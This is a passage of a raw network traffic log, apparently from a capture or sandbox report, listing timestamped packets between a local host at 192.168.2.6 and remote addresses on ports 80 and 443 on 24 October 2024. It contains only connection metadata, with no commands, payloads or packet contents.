Oct 24, 2024 04:58:19.413283110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.413319111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.413351059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.413378000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.413392067 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.413395882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.413412094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.413438082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.460994959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.461024046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.461040020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.461066961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.461091042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.461118937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.461124897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.461134911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.461149931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.461167097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.461174965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.461190939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.471772909 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471788883 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471817970 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471827984 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.471832991 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471849918 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471858978 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.471877098 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471880913 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.471894026 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471904039 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.471910000 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471926928 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.471926928 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471945047 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.471951962 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.471970081 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.471987009 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.477380991 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.477437973 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.477453947 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.477478981 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.492209911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.492244005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.492261887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.492263079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.492278099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.492295027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.492305994 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.492340088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.532488108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.532505989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.532521963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.532576084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.532672882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.532690048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.532704115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.532840967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.532840967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.580347061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.580364943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.580379963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.580404043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.580411911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.580418110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.580445051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.580459118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.580461979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.580475092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.580486059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.580519915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.611839056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.611855030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.611907959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.627840042 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.627856970 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.627872944 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.627909899 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.627943993 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.627985954 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.628012896 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.628030062 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.628046989 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.628055096 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.628062963 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.628078938 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.628104925 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.628798962 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.628825903 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.628839016 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.628864050 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.629081964 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.629097939 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.629111052 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.629138947 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.629157066 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.744527102 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.744574070 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.744605064 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.744617939 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.744637966 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.744653940 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.744682074 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.744689941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.744875908 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.744896889 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.744919062 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.744935036 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.744945049 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.744971037 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.744992018 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.745434046 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.745491028 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.745506048 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.745522022 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.745529890 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.745558023 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.747577906 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.747653961 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.747901917 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.747951031 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.763410091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763427973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763444901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763463020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763478994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763483047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.763494968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763508081 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.763510942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763529062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763547897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763556004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.763586044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.763731003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763746977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763765097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763772011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.763782024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763806105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.763883114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763899088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.763940096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.763999939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.764017105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.764034033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.764043093 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.764082909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.764379025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.771236897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.771253109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.771282911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.783993959 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.784050941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.784133911 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.784256935 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.819936037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.819963932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.819981098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.820025921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.820050955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.820075035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.820091963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.820107937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.820136070 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.820303917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.820319891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.820337057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.820363045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.820384979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.851192951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.851252079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.851269007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.851322889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.861545086 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.861560106 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.861615896 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.861763000 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.861776114 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.861793041 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.861819983 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.861819983 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.861829042 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.861836910 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.861851931 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.861860991 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.861880064 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.861896038 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.862494946 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.862509966 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.862526894 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.862543106 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.862550020 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.862574100 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.862603903 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.862947941 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.862960100 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.863035917 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.863037109 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.882282019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.882297039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.882344007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.938036919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.938051939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.938107967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.939157963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.939184904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.939198971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.939229965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.939248085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.939435959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.939451933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.939467907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.939482927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.939492941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.939532042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.939960957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.940013885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.940027952 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.940043926 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.940071106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.940073013 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.940094948 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.943567991 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.943588018 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.943635941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.970359087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.970376015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.970415115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.970427036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.970545053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.970545053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.978513002 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.978528023 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.978594065 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.978595018 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.978631020 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.978657007 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.978674889 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.978676081 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.978689909 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.978698015 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.978719950 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.978733063 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.979466915 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.979481936 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.979496956 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.979513884 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.979526043 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.979530096 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.979551077 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.979562998 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:19.980287075 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:19.980333090 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.028846979 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.028925896 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.054235935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.054253101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.054267883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.054297924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.057055950 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.057070017 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.057113886 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.057130098 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.058810949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.058826923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.058842897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.058854103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.058887005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.059072018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.059087992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.059104919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.059129953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.059154034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.059170008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.059206009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.060779095 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.060792923 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.060836077 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.070705891 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.070732117 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.071716070 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.090488911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.090517044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.090532064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.090563059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.090591908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.091808081 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.091830969 CEST	50002	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:20.091906071 CEST	443	50002	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:20.095221996 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.095262051 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.095276117 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.095289946 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.095324993 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.095338106 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.095350981 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.095360041 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.095382929 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.095750093 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.095766068 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.095782042 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.095798016 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.095810890 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.095819950 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.096096992 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.096148014 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.096162081 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.096167088 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.096178055 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.096189976 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.096206903 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.096219063 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.096755028 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.096770048 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.096786022 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.096798897 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.096812010 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.096832037 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.134119034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.134135962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.134151936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.134174109 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.173532963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.173590899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.173590899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.173628092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.173661947 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.173715115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.173716068 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:20.173717022 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.173798084 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:20.177505016 CEST	80	50000	185.215.113.16	192.168.2.6
